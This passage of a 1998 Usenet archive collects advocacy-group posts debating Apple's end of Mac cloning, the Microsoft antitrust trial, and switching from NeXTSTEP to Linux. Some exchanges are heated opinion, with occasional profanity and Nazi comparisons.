> be two or three iMac-class machines for all of those buyers to chose
> from, instead of one single machine that's a take it or leave it
> proposition.
Sure, from a consumer standpoint that would be nice, but the bottom line is
that in order to do the things people do with computers, they can use a Mac
(1 brand, 1 OS) or a PC (many brands - basically *one* OS). I can't
begrudge Jobs for killing cloning - remember when everybody said that would
mark the death of Apple? Never happened did it. I still think that when
Apple's house is back in order, Cloning Part Deux will emerge.
>
>
> >
> > To say the iMac has no competition (from clones), while ignoring the
> > plethora of cheap Win98 machines out there, is to underestimate the huge
> > obstacles Apple has had to overcome to not only get this machine out, but
> > to make sure there were enough marketing channels to distribute it to eager
> > buyers.
>
>
> I just can't feel sorry for a company which uses that as an excuse as to
> why it has to deny users a competitive Mac market full of many more
> choices for the Mac OS user than Apple alone currently provides. X86
> clone makers face the same problems and they have tons of competition
> from each other in the process.
Yeah, but Apple is two companies in one, software and hardware, versus MS
which is all about software. As tough as it may be for PC clone vendors, MS
is completely insulated - as long as the aggregate sales of PC's is strong,
they could give a rat's patootey about the fate of any one vendor. With the
smaller volume of Mac sales, Apple relies on hardware margins to sustain
its business model.
I recall the battle cry for cloning, and as the owner of a PowerCC, Moto
and UMAX clones (no lie), I obviously agreed with the concept. There was
hope that Mac market share would skyrocket, now that all the roadblocks to
adoption were lifted. You could buy from over a half-dozen cloners, etc.
and Apple would make up for its hardware sales losses by greater margins of
MacOS sales.
Didn't work out that way. Partially because MS is so damned strong in the
channel, and Apple was just so damn inept at marketing the Mac platform
back then. They were pitiful. They sucked so hard. It was a mess, a
foundering vessel, and that's what Jobs inherited.
No wonder he insisted on retaining the "interim" title.
>
>
> > > >
> > >
> > > I never said they were "mom & pops"...What I said was that *compared to
> > > Apple* they were tiny, and they were. The Mac clone companies affiliated
> > > with Motorola and Umax were *separate companies* which were *small
> > > change* compared to Apple itself. Last, you always leave out PowerCC,
> > > seemingly because you know that that company wasn't even loosely
> > > affiliated any large company. The irony is that PowerCC is the company
> > > Apple (Jobs) feared the most.
> >
> > As well he should have. They were the best. They won Apple mindshare as
> > *well* as marketshare, with their advertising and philosophy. If *anybody*
> > else other than Jobs killed PowerCC, I'd have been upset, but today's Apple
> > has captured the imagination of Mac users again. No longer left twisting in
> > the wind by a vacuum of no promotion, advertising, distinguishing hardware
> > and software design, Mac users can hold their heads just a little bit
> > higher now. And the innovation faucet is only trickling from Apple, at this
> > point.
>
>
> PowerCC *could* have been a powerful ally and asset had Jobs not seen
> them as the "enemy." It's all in your point of view.
>
Maybe. I'm not saying you're wrong. I'll betcha though, their Mac notebook
design would have *killed* Apple laptop sales (which were just emerging
from the crappy 5300C days).
I just think it was a tough bidness decision - all part of the "hail mary"
which seems to have worked OK so far. And like I said above, the book is
never closed (except for Syquest) and once Apple is finally reestablished
as a player in the market, Jobs (or whoever is manning the ship at that
point) may certainly opt for cloning again. I'd personally love to see it
happen.
>
> >
> > RDF? I've got one word for you ... "Innovation."
> >
> > RDF indeed. It's about bloody time Apple sling some decent propaganda,
> > seeing that that's what sways the masses.
>
>
> The trouble with propaganda is this: if it's not true its benefits are
> only temporary. If it's not true, the propaganda will be found out and
> exposed. It's not a good long-term strategy.
Very little about the past 12 months has been about a "long-term" strategy.
It was very, very stop-gap. While the iMac is a glimpse of where Apple is
headed, I don't think we'll see the *real* future plans for Apple for at
least a year. In the mean time, there will be little technology blips (the
MacWorld San Fran product intros in Jan) leading up to the OS X release and
the full-on G4 computers.
Heck even the G3 is a stop-gap chip. It was supposed to be the "cheap"
chip, but it just so happened to keep up with or trounce (depending on what
propaganda you read) the best X86 had to offer, so the high-end machines
currently ship with it.
Personally, I would never buy a G3 for more than $1500.
This whole ball of wax requires patience. I stick with Apple because I have
confidence in where they are taking personal computing. I was very, very
ready to bail until Steve came back. Microsoft, to me, is simply wedging in
shit in a shitty way. You can do anything you want on a Wintel machine, but
the hoops you have to jump through ... I just can't stand it.
Anything has got to be better than a world consigned solely to Bill's
wishes. I'd take a Steve Jobs who stomps little kittens and runs naked
through the streets, if that was the only alternative.
And this from a three-time clone buyer/owner.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 19:18:01 -0600
Organization: Ericsson Inc.
Message-ID: <36522049.7D64F444@exu.ericsson.se>
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Rex Riley wrote:
> We haven't wasted any of the nine sitting Supreme Court Justices time...
Uh, heh, yeah... [grins sheepishly, smacks forehead]
> Don't get confused... the law unjustly gets applied selectively everyday.
> By the IRS, Federal gov't and local officials, selective enforcement _is_
> the method of choice. Were that not the case, not@my.address.net's "tying"
> premise would validate the "teenage defense". Wherein every teenager claims
> non-responsibility for their actions because everyone else does it. Such
> immature thinking characterizes ill-formed logic that actions should not be
> judged by their indended consequences.
Not so, there's no parallel. not@my's point:
"But I don't see how to argue for that without defending the premise
that the law should never distinguish between two acts by appealing to
differences in their effects."
If effects are the issue, I would think that the subject of different
applicatino would be studied for its *effects*. Instead, the problem, as
explicitly stated by not@my, was that of "tying" by a "monopoly". If you
can show me how that is a consistent argument, I'd be intrigued, but I'm
missing it.
Your teenage defense issue goes back to selective enforcement, as
mentioned by not@my. As he says, selective enforcement is not the issue
here.
Neither argument demonstrates a reason to interfere with Microsoft. It's
not a matter of selective enforcement (the IRS example), and it's not a
matter of differing effects. It's a direct matter of discrimination
based on categorization. The IRS may audit citizens with low incomes on
purpose, and police patrolmen may stop black people more frequently with
a supposedly statistical excuse, but the DoJ has brought allegations of
illegal conduct, indictments of anti-trust violation, against Microsoft
on the basis of its composition. This is a totally different issue.
> Which brings us back to the "rule" being applied to the MS case... MS is
> not any company. MS is a mature company with power to affect the course and
> direction of its actions.
This is exactly what I'm talking about. You've decided, on the basis of
this (very subjective) judgement, that laws are applied differently to
Microsoft than to other companies. It holds as much legitimate value as
my (fictitious, I assure you) assessment that white people have more
ability to determine their outcomes than black people.
The Microsoft doesn't carry the emotional overtones of racism, but it
stinks just as badly.
> It is the consequences of MS actions that are on
> trial. To the extent that MS by its actions as a corporate citizen have as
> their consequence the effect of a monopoly against other citizens in the
> marketplace is the only measure by which anti-trust law can be measured.
>
> Evidence to date attempts to directly associate marketplace consequences to
> MS monopoly actions. The monopoly case against MS is going to "hinge" on
> whether MS practices intended those consequences.
You say "consequences" above this point, but now you talk about intent.
Why?
I'll guess: consequences may dictate differential treatment under law
(from a certain standpoint) but intent cannot. Conversely, intent may be
weakly established in this case, but consequences certainly cannot.
But you can't have it both ways, Rex.
> Did MS intend to crush Netscape Navigator
> Did MS intend to kill Intel software
> Did MS intend to co-opt Sun's JavaOS
> Did MS intend to neutralize Quicktime on WinXX
> Did MS intend to keep Apple alive
I would like to know how these things can possibly be established.
Intent to kill is only convictable "beyond the shadow of doubt". Such
conviction is impossible in this case; my read is that the court is
willing to take ridiculous liberty with a ridiculous indictment
(ridiculous to the point of frivolous).
> What actions did MS practice to effect those consequences?
Now you've taken it out one more step: it's neither about consequences
nor about intent, but intent to bring about certain consequences. The
legal basis for this is now stretched beyond the point of breaking.
> To what extent
> were those consequences independent and unrelated to MS actions. To what
> extent are all the consequences related as a whole?
...as if the court were equipped for such judgement.
MJP
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 20:07:14 -0500
Organization: Waltonschauung
Message-ID: <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <adtF2K0yo.K7D@netcom.com>, adt@netcom.com (Anthony D.
Tribelli) wrote:
:Apple is far from bring a monopoly with respect to personal computers in
:general, but their OS monopoly in the PowerPC desktop market was larger
:than Microsoft's monopoly of the x86 desktop market.
That's cute. It's like saying that Mazda had a monopoly on the Wankel
engine car market. It has nothing to do with the actual state of the
industry.
The case against Microsoft isn't that they're a bunch of meany-heads; the
case is that they stifled competititon in the marketplace. Any such claim
about Apple is patently absurd, given the claim of their primary
competitor.
:Or perhaps perception has a lot to do with getting hauled into court and
:Apple's image as the underdog helped them. I think it is premature to say
:that Apple did not enjoy monopolistic control over the cloners.
You're defining "monopolistic" awfully loosely. By that definition,
MacDonald's should be dragged into court because it exercises monopoly
control over its franchisees. Never mind how many other restaurants a
consumer can choose from.
--
"I do not fear computers. I fear the lack of them." -- Isaac Asimov
--------------------------------------------------------------------------
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Tue, 17 Nov 1998 14:33:44 -0800
Organization: Cygnus Solutions
Message-ID: <3651F9C8.F5ADA57E@cygnus.com>
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Matt Kressel wrote:
>
> Antoine Gautier wrote:
> >
> > Greetings,
> >
> > Nextstep / openstep now has less future that it used to (!), and Apple does
> > not appear to have rock-solid plans to keep the NeXT spirit alive, so I am
> > beginning to think about going over to Linux...
> >
> > I sort of think that dropping DPS could be a problem, sice I do a lot of
> > TeXing with eps images generated by various drawing apps. Also, I would
> > really miss having services (or would I?).
> >
> > I was wondering if there are users (not developpers) out there that have
> > gone this route, and what their experiences have been so far.
> >
> > Thanks in advance !
> >
>
> I've only used Next on a limited number of occasions, however
> there is a "port" of the Nextstep GUI to Linux called Afterstep.
> Its pretty damn good. Also, TeX and eps are all supported under Linux.
>
No offense, but if you consider Afterstep to be a "port" of the Nextstep
GUI, you've got a pretty trite understanding of the Nextstep GUI.
Afterstep can be made to _LOOK_ like Nextstep, as that was its intent.
As far as _acting_/_feeling_ like Nextstep, Afterstep comes up very
short of the mark. (don't get me wrong, since switching my sparc box
from Openstep to Solaris, I've been using Afterstep, and I'm mostly
happy with it as an X window manager... I'm just not happy with X).
To the original post:
Having recently made the switch myself, what I can say is:
1) get a big frame buffer.. my Sparcstation 4 has an 8 bit frame buffer,
and I just can't tell you how annoying it is to have color lookup
problems because one X app sucks up everything (like, say, Netscape),
and then you can't run some other nice program (like, say Xearth)
because it can't even allocate a few colors. Make sure you've got at
least a 16 bit frame buffer.
(I never realized just how nice it was to have all of that color
dithering under nextstep .. 8 bit color may have looked a little fuzzy
sometimes, but at least it worked)
2) the newer versions of Netscape have much nicer mail features. I
actually don't miss Mail.app that much. I miss RadicalNews a lot
though. As much as I liked OmniWeb, it's nice to have a fully featured
Web browser (no more waiting for Java and Javascript), too. Netscape is
"good enough" for filling those 3 needs, I think.
For all of those other little apps, Linux is probably going to serve you
well because it's the unix that seems to have the most "off the shelf"
support out there.. meaning that if you're a user and not a
developer/sysadmin/guru, you can find more "pre-built to just install
and run" utils out there for Linux than just about anything else right
now. Most free stuff out there these days is aimed at Linux first, and
other unices second.
If you do image manipulation, look at Gimp. If you want a configurable
screen saver, look at xscreensaver (_NOT_ xlock).
I personally just installed RedHat 5.1 on my machine at home and have
found it to be pretty painless. The install routine was nice, and
redhat does a LOT of pre-packaging (via RPM) for you. The GUI isn't as
nice as Nextstep, but I find it actually easier to administrate for the
most part (that is, administrate a single node system, as opposed to
administrating a network).
My biggest problem is probably going to be tracking down the problems
I'm having with modem configuration and ppp (I have it linking, I just
don't have it going at a decent speed yet.. and it's having a problem
with my network card).
I don't really miss user level "services" that much. Yeah, they were
nice, but who actually did anything REALLY cool and useful that you can
think of off the top of your head? 90% of what I used them for was: a)
take the text I've highlighted and open it as a URL in Omniweb, b) take
the text I've highlighted and look it up as a word in webster. In
otherwords, I used them entirely for a copy and paste shorthand. I
can't really say that a couple extra gestures (highlight and menu (in
nextstep) vs highlight, click on netscape, menu to open page, middle
click to paste, and click on "ok") is an unbearable burden.
Down the line, I probably will miss the part of services/filters that
allowed for the transparent filtering of data through enterpreters (like
image conversion via OmniImageFilter, and such). But so far I haven't
had somethign come up that was a problem.
What I have gained is standardization with the rest of my workplace
(with Solaris at work), and freedom from being herded around by a large
soul-less corporation when it comes to the Unix I run at home. I don't
really think I've lost that much in terms of actual user experience.
All in all, I think Solaris and/or Linux give me about 90% of what I had
as a user under Nextstep.. but then I'm not a novice user (though,
RedHat's fvwm95 setup that is their default X config is pretty nice for
people who are acustomed to win95).
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 23:02:19 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72sv9r$t26@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@Ericsson.com> wrote:
[aside : this is getting far afield. So, I'll say as little as possible.
My fundamental assumption is that anti-trust law is valid law, having
been passed by legislature and reviewed by the courts as per prescribed
rules. ]
>Arun, this is "due process", which has nothing to do with judicial
>review except as a subject of it. The use of murder as an example, if
>due process be the subject, is totally irrelevant.
If the antitrust trial is taking a tack where Microsoft
is being deprived of its rights, this could equally well
happen in any other trial, e.g, a murder trial.
[If necessary read earlier posts] I reject the notion that
there should be no trial because MS might not be treated
correctly by the court.
>Prosecution of Microsoft under unjust laws would lead to strengthening
>and expanding those laws. This is the process of judicial review. An
>acceptable parallel would be judicial review of existing due process
>laws, which, depending on the decision, could be strengthened or
>weakened.
Successful prosecution of Microsoft under unjust laws might
lead to strengthening and expanding those laws. It might also
lead to a change of laws via new legislation.
>In neither case is the subject of murder in question, do you see that,
>Arun? If a murder trial for some reason brings up the subject of due
>process and "rights of the accused" (whatever that means), it is about
>that thing, and not about murder, do you see?
I thought that your argument was that "an accused monopolist is
not being given the same rights as others", therefore you don't
want the trial. The risk of the accused being judicially abused
is always there in any human-run system.
> [major snip]
>The concept of Microsoft or Intel "slowing the industry" is complete
>nonsense -- 'NON-SENSE', i.e. it makes no sense whatsoever. How can
>Microsoft and Intel slow the industry that they, in part, constitute? If
>Microsoft and Intel release nothing next year, are they slowing the
>industry? How? The only charge that can be levelled at them is that they
>are *not* accelerating the industry.
E.g., if you don't release a product when originally promised
you mess up everyone who planned around that release. Weren't
you complaining about Apple's delay of Openstep-based technologies,
and the economic effect that has on Openstep developers ? Or was
it someone else ?
>By contrast, government is a third-party entity, an external force that
>is *not* a direct participant in the free market. Its actions *can* be
>measured and taken into account as having empirical consequences.
It is government that sets tax rates (and thus directly affects
the debt-equity ratios companies choose to hold). It is the
government that sets interest rates, that directly affect
investment and employment. It is the government that negotiates
with other governments to open up their markets. It is the government
that bails out other quasi-free economies that are in trouble.
It is the government that creates the terms of intellectual
property rights. How is the government not a participant in the
free market ?
>
>Moreover, what Microsoft and Intel do is their business. But what the
>federal government does is my business, and yours. In discussions of
>public policy a "counter prediction" like yours means nothing to our
>considerations. However, the results of government actions are an
>entirely relevant point.
The real relevant point is that your prediction is not a fact.
The argument that the anti-trust trial against Microsoft will
slow down the IT industry is a bogus one; it could just as well
speed it up.
>Law is based on principle, not on the decisions of legislators. If
>legislators be mistaken, their laws cannot be obeyed. I'll let you
>decide whether you would have reported escaped slaves or German Jews;
>the point, I hope, is clear.
>Law must be based on clearly-stated and unchangeable principles; for
>either of the previous to be true, law must be reduced to the point that
>it is mutually agreeable. At the very least, a code of law must be more
>easily described as "small" than as "large". Our federal code of laws
>could be described as "a major cause of deforestation".
The cause of scorn you all rightly have for countries like Iran,
Sudan and Afghanistan is precisely because those countries are trying
to based their laws on unchangeable principles. Even principles
can be mistaken. "Law based on principle" is fine and good, but
whose principles ? Who decides something is not based on principle ?
(e.g, antitrust is based on the principle that having multiple
participants in the market is of overriding importance.)
In our case, the principles are in the Constitution and are not
unchanging (there is a procedure for changing even the Constitution).
The laws based on these principles are also not unchanging (and
there is a procedure for changing/creating laws). In particular,
the anti-trust laws have been around for a while, and have been
subject to review, are generally agreed upon, etc. etc.
>
>I posted the following in July of this year to this newsgroup:
>
>"Perhaps the classic expression of the objection to the rule of law was
>by socialist writer Anatole France, when he said sarcastically, 'The
>Law, in its majestic equality, forbids rich and poor alike to sleep
>under bridges, beg in the streets or steal bread.' The differential
>impact of the same laws on people in different social circumstances has
>long been a key reason given for departing from the ideal of law and
>government as a set of impartial processes, and instead making law and
>government instruments of a set of policies directed toward prescribed
>social results. Moreover, these prescribed results are often conceived
>within a framework of a cosmic perspective on justice, in which it is
>not sufficient to treat everyone the same after they enter the legal
>system, if they entered with preexisting inequalities that must be
>compensated for, in order to achieve 'real' justice. Such are the
>ambitious goals -- the vision of the anointed -- behind the stretching
>and bending of the law that has become known as 'judicial activism'.
>
>"It is in seeking cosmic justice that the law has become less and less
>law and more and more a series of ad hoc pronouncements which the
>judicial activists call 'evolving standards' or 'a living
>constitution'."
>
>Thomas Sowell, _The Vision of the Anointed_
>
>
>The very idea that laws can be applied differently based on status or
>influence is nauseating; it contradicts Rule of Law at its core. The
>idea that Microsoft is culpable of offenses for which lesser competitors
>would not be held liable seems to be the basis for this suit, and is one
>of the most discouraging concepts I have seen discussed before the
>Supreme Court in my entire lifetime.
Microsoft has a club (market power) and is accused of swinging
the club. Lesser competitors, by definition, do not have this
club. It is hard to find them culpable.
Anyway, this is interesting. Microsoft's defense is not that
it is breaking an unjust law (the usual argument of civil
disobedience). Its defense is that it is not breaking the law,
period, whether just or unjust. The Rule of Law would imply
that Microsoft is obliged to follow the law, otherwise
Microsoft would be entitled to break laws, and noone else would.
> [massive snip, not because it isn't interesting, but because I've to
> stop somewhere.]
-arun gupta
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 18 Nov 1998 01:27:15 GMT
Organization: AOL http://www.aol.com
References: <3651cf09.10494447@news.prosurfr.com>
Message-ID: <19981117202715.27561.00003981@ng87.aol.com>
Regarding the following theories about low-end computers, in terms of
non-affluent nations John Savard said:
>It's not *at all* unrealistic that in a few years (in fact, I'm
>wondering why it hasn't happened already - I'm _guessing_ patent
>problems) someone sticks a 16 line by 32 character display - like in
>the early personal organizers, or the graphic pocket calculators - on
>a $10 pocket computer you can program in BASIC.
Uh, that's been done before, not for $10, but for the time, quite affordably,
the Tandy Radio Shack PC 1 and 2--the 2 was actually rather nice, but the
display's too limiting for anything useful.
>Of course, to be useful, it needs the equivalent of a really cheap
>floppy disk drive...a RAM disk that can be saved to an audio cassette
>would do.
::scream of agony:: No, that's the last thing the world needs--floppy drives
_are_ really cheap--they used to cost hundreds (and before that, I'd guess a
thousand or so, but I distinctly remember $200-$400 for floppies for Apple ][s,
TRS-80s and the original Mac).
The Apple Newton, Palm Pilot and other tablet systems are a lot more workable
this way I'd think (with something like a Clik! or Sony HiFD drive for
storage). Makes the keyboard optional, large enough display to be usable, small
enough form factor to not matter for most purposes (though I'd want it to fit
in a normal shirt pocket damnit!).
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 23:13:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72svtt$li7$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72k83q$caq@news1.panix.com> <36503958.78D07B59@spamtoNull.com> <F2Ius4.1G9@T-FCN.Net> <36519628.27FBB637@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > > In my view, there's nothing wrong with spreading a bit of FUD about the
> > > iMac, if it's based on reasonable criticism.
> >
> > Then it's not FUD.
>
> Sure, it is. FUD: fear, uncertainty, and doubt. There is no connotation
> in FUD for "unjustified" or "justified."
yes, but I think you're focusing on the wrong thing. It's not whether it's
justified or not that matters. Look at the words: FEAR, UNCERTAINTY, and
DOUBT. People spreading FUD are trying to SCARE away buyers, not convince
them by rational argument.
To me "the iMac has no floppy" is not FUD. There's no uncertainty involved.
No doubt. And hence, no fear. The lack of a floppy may be enough to change my
mind about buying an iMac, but if so, it won't be because of fear,
uncertainty, or doubt.
If the facts are known at the time the statement is made, how can it be FUD?
Just because it's criticism doesn't make it FUD (whether the criticism is
justified or not).
To me, FUD is statements made with intent to scare, based on rumors or
"facts" which are not easily verified, or based on placing a particularly
heavy bias or misinterpretation on known facts, and where the person making
the statements is not convinced of their veracity, but is making them for
strategic reasons.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 18:33:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72sfhg$6ir$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se>
[ ...cue subliminal message... ]
In article <36509448.18CC0E10@exu.ericsson.se>,
Michael.Peck@Ericsson.com wrote:
> For another, Microsoft's case is a civil suit brought by the DoJ, not a
> criminal case. It is not analogous to murder; it is analogous to similar
> suits brought against similar companies over similarly frivolous
> matters. Frankly, it's offensive to imagine that they are the same, yet
> Microsoft is repeatedly compared to a bully, a gangster, a mugger, a
> thief, a rapist, and now a murderer.
Ahh, that sounds very familiar. I remember saying exactly the same thing to
one M. Peck when he called NeXT a bunch of Nazis for their user interface
conventions.
The exact quote, from Message-ID <35C09281.7461A700@exu.ericsson.se>, was:
} That user doesn't really need NeXT Nazis telling him he's been
} doing it "all wrong" for ten years.
> In truth, Microsoft has committed nothing nearly so brutal or malicious.
In truth, NeXT Inc. had committed nothing nearly so brutal or malicious as
Nazi Germany, either. That didn't prevent you from making the comparison.
[ ...repeat subliminal message... ]
Ahh, never mind: subtlety obviously isn't one of your strong points.
Would you go pollute some other newsgroup if I compared you to Hitler?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: mazulauf@bora.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 17 Nov 1998 21:07:54 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn753p7v.i4k.mazulauf@bora.met.utah.edu>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca>
NNTP-Posting-Date: 17 Nov 1998 21:07:54 GMT
In article <uFk42.5443$dB4.136204@carnaval.risq.qc.ca>, Antoine Gautier wrote:
>
>I sort of think that dropping DPS could be a problem, sice I do a lot of
>TeXing with eps images generated by various drawing apps.
Not a problem. I use LaTeX and .eps files on a wide variety of systems.
Xdvi has no problem previewing these images. I believe it uses ghostscript
to render them typically.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 23:16:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72t033$lsm$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > ...except that those "scanty" emails were from Microsoft's internal mail
> > system. Or are you suggesting that Microsoft's "enemies" planted
> > incriminating evidence in Microsoft's own internal mail system?
>
> I'm saying the obvious, which is that these people send dozens of emails
> every working day. To think that they'd remember two or three emails, or
> their *context*, that were three years old is absolutely ludicrous.
That they'd forget two or three e-mails is quite credible. But has Gates
acknowledged remembering ONE e-mail so far?
> Hmmm...I wonder what percentage of all of the Microsoft email these
> emails represent. 1%? 1/2 of 1%? Maybe 100th of 1%?
> Seems the government has uncovered only three or four such emails out of
> a body of probably thousands written over the last three years. Wonder
> how many exculpatory emails the Gov has deliberately overlooked?...:)
If there are lots of exculpatory e-mails, I'm confident MS's lawyers will tell
us about them.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: forrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Other AppleScript Interface Options (was: Re: AppleScipt DoubleScroll in 8.5)
Message-ID: <forrest-1711981349070001@term6-37.vta.west.net>
References: <forrest-1511981500550001@term3-24.vta.west.net> <rtschafe-1511982141120001@host-209-215-40-66.msy.bellsouth.net> <Tim.Streater-1711981854440001@mac-tim.dante.org.uk>
Organization: Obsidian
Date: Tue, 17 Nov 1998 13:49:07 -0800
NNTP-Posting-Date: Tue, 17 Nov 1998 13:48:30 PDT
And now for something completely different.
(added comp.sys.next.advocacy)
I remember before 8.5 was released there was word that the App Switcher
couldbe set to different styles via AppleScript; normal, the NeXT dock,
and the Windows taskbar. In a set of screenshots on MOSR yesterday, the
"Drawing Board" theme shots featured a NeXT-style dock in the bottom-right
corner, but with small icons instead of the huge NeXT icons. Anybody know
how to do this?
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 21:54:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72srb4$r16@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>I see that you've forgotten the $50 million to $100 million dollars a
>quarter Apple was receiving in royalties from the cloners, along with
>the fact that the cloners had agreed to a DOUBLING of the fees they'd
>pay Apple--and Jobs killed them off anyway. If Jobs had been a real
Q: wasn't Apple selling about 1 million machines a quarter at that time ?
Wasn't it stated here that cloners had no more than 10% of the market ?
Isn't it true, then, that the cloners were selling about 100,000 machines
per quarter ? At $50 million of royalties, that is $500 a machine !!!
So, are you sure you are correct ?
-arun gupta
>visionary, he would have seen an expanding Mac market with the cloners
>as *partners* to grow that market. Instead, as has been oft quoted, Jobs
>idea of Mac clone companies was to call them "leeches and parasites" and
>drive them all out of business in one way or another. The smallness of
>Jobs' vision is easily apparent--Jobs sees the Mac market as big enough
>for only Apple. That's a pretty narrow-minded point of view.
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com>
Message-ID: <ZPm42.491$B54.19091238@news.rdc1.ne.home.com>
Date: Tue, 17 Nov 1998 22:32:25 GMT
NNTP-Posting-Date: Tue, 17 Nov 1998 14:32:25 PDT
Organization: @Home Network
In <3651E28F.90C2A84A@inch.com> Matt Kressel wrote:
> I've only used Next on a limited number of occasions, however
> there is a "port" of the Nextstep GUI to Linux called Afterstep.
> Its pretty damn good. Also, TeX and eps are all supported under Linux.
Afterstep is most definitely not NeXT-like, it suffers from trying to be all
things to all people. It is a horrible interface.
GNUstep will be the Openstep environment running on top of xwindows, and
until it is usable, Window Maker is the closest thing to duplicating the
environment on a system running xwindows, and if judged as a window manager
